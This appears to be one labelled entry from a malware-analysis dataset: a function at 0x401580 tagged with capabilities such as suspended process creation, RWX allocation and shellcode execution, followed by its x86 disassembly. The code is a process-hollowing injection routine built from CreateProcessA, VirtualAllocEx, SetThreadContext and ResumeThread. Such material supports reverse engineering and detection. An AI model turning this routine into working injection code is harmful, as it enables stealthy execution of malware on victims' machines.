Function at 0x401580
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x334
mov eax, dword [0x40b050]
push ebx
push esi
push edi
xor esi, esi
mov dword [esp + 0x33c], eax
xor eax, eax
mov dword [esp + 0x68], esi
mov ecx, 0xb2
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, dword [ebp + 8]
mov dword [esp + 0x10], eax
lea edx, [esp + 0x24]
push edx
push esi
push esi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
push 4
mov dword [esp + 0x2c], eax
mov eax, dword [ebp + 0x18]
push eax
push esi
push esi
push ecx
push esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x44
mov word [esp + 0x78], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x40161e
push esi
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, 1
mov ecx, dword [esp + 0x33c]
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
call ebx
push esi
call dword [ebp + 0x1c]
mov edx, dword [ebp + 0x14]
mov esi, eax
push esi
push edx
call fcn.00401520
mov edi, eax
add esp, 8
test edi, edi
jne 0x40165e
mov eax, 2
mov ecx, dword [esp + 0x33c]
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
push pe_nt_image_headers32
push 0x3000
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
test eax, eax
jne 0x40168e
mov eax, 3
mov ecx, dword [esp + 0x33c]
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x1c]
push ecx
push edi
push esi
push eax
push edx
call dword [ebp + 0x20]
test eax, eax
jne 0x4016ba
mov eax, 4
mov ecx, dword [esp + 0x33c]
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x68]
push eax
push ecx
mov dword [esp + 0x70], 0x10007
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
jne 0x4016ee
mov eax, 5
mov ecx, dword [esp + 0x33c]
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [ebp + 0xc]
lea eax, [esp + 0x68]
push eax
push ecx
mov dword [esp + 0x128], edx
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push 0
mov esi, eax
call ebx
test esi, esi
jne 0x40172a
mov eax, 6
mov ecx, dword [esp + 0x33c]
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
cmp eax, 0xffffffff
jne 0x401752
mov eax, 7
mov ecx, dword [esp + 0x33c]
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call esi
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40176e
mov eax, dword [esp + 0x10]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
call esi
mov ecx, dword [esp + 0x33c]
xor eax, eax
call fcn.00401f3f
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret